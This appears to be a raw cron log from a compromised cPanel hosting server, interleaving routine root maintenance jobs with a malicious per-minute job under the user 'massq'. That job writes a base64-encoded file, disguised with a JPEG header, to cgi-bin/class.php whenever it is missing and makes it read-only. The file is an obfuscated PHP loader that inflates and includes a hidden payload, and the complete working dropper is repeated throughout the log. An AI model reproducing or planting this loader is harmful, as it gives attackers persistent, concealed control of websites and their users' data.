Sep 10 06:58:01 server CROND[537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:58:01 server CROND[538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:59:01 server CROND[1028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:59:01 server CROND[1029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:59:01 server CROND[1030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:00:01 server CROND[1509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:00:01 server CROND[1511]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:00:01 server CROND[1513]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:00:01 server CROND[1518]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 07:00:01 server CROND[1515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:00:01 server CROND[1521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:00:01 server CROND[1517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:00:01 server CROND[1519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:00:01 server CROND[1520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:01:01 server CROND[2385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:01:01 server CROND[2386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:01:01 server CROND[2388]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 07:01:01 server CROND[2387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:01:01 server run-parts(/etc/cron.hourly)[2388]: starting 0anacron
Sep 10 07:01:01 server run-parts(/etc/cron.hourly)[2408]: finished 0anacron
Sep 10 07:02:01 server CROND[2800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:02:01 server CROND[2802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:02:01 server CROND[2803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:03:01 server CROND[3165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:03:01 server CROND[3166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:03:01 server CROND[3167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:04:01 server CROND[3644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:04:01 server CROND[3645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:04:01 server CROND[3646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:05:01 server CROND[4071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:05:01 server CROND[4075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:05:01 server CROND[4076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:05:01 server CROND[4081]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:05:01 server CROND[4079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:05:01 server CROND[4078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:05:01 server CROND[4077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:05:01 server CROND[4086]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:06:01 server CROND[5048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:06:01 server CROND[5049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:06:01 server CROND[5047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:07:01 server CROND[5523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:07:01 server CROND[5524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:07:01 server CROND[5525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:08:01 server CROND[5900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:08:01 server CROND[5899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:08:01 server CROND[5901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:09:01 server CROND[6367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:09:01 server CROND[6368]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 07:09:01 server CROND[6369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:09:01 server CROND[6370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:10:01 server CROND[6749]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:10:01 server CROND[6750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
